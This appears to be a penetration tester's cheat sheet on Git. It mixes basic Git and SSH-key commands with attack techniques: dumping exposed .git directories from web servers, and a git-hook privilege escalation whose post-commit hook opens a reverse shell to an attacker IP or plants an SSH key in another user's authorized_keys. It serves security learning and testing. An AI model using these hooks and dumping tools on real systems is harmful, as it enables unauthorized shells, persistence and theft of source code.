Git
Basic Usage
## ------------------| Git Genaral
git clone <URL>
git status
git add .
git status
git commit -m "CommitComment>
git push
## ------------------| Git Branch
git checkout -b <BranchName>
git status
git add .
git commit -m "CommitComment>
git push --set-upstream origin <BranchName>
## ------------------| Git Basic
git log -p
git show <hash>
git status
git reflog
git reset --hard
git diff <hash>
## ------------------| Git secrets finders
## https://github.com/techjacker/repo-security-scanner
git log -p | scanrepo
## ------------------| Add Github SSH Key
ssh-keygen -t ed25519 -C "[email protected]" -f gitHub
eval "$(ssh-agent -s)"
ssh-add --apple-use-keychain ~/.ssh/gitHub ## Mac
### ~/.ssh/config file
Host github.com
AddKeysToAgent yes
UseKeychain yes ## Mac
IdentityFile ~/.ssh/gitHub
### Visit https://github.com/settings/keys and add the gitHub.pub file as new key
Reconstruct Source Code
wget -r -np https://<URL>/.git
git --git-dir=<path_to_bare_repo.git> archive HEAD | tar -x -C <destination_dir>
Git Hooks
## ------------------| sudo git pull
## put shell in
vi .git/hooks/post-merge
chmod +x .git/hooks/post-merge
## ------------------| Genarate SSH Key
ssh-keygen -t ed25519 -f mykey
cat mykey.pub
## ------------------| Create hook file (.git/hooks/post-commit)
#!/bin/sh
bash -c 'bash -i >& /dev/tcp/<IP>/4545 0>&1'
## or
#mkdir -p /home/<USER>/.ssh/
#printf "\n<mykey.pub>\n" >> /home/<USER>/.ssh/authorized_keys
#chmod 600 /home/<USER>/authorized_key
## ------------------| Set permission
chmod +x post-commit
## ------------------| Finder
python3 gitfinder.py -i urllist.txt
## ------------------| Dumper
./gitdumper.sh http://target.tld/.git/ dest-dir
## ------------------| Extractor
./extractor.sh source-dir destination-dir
Last updated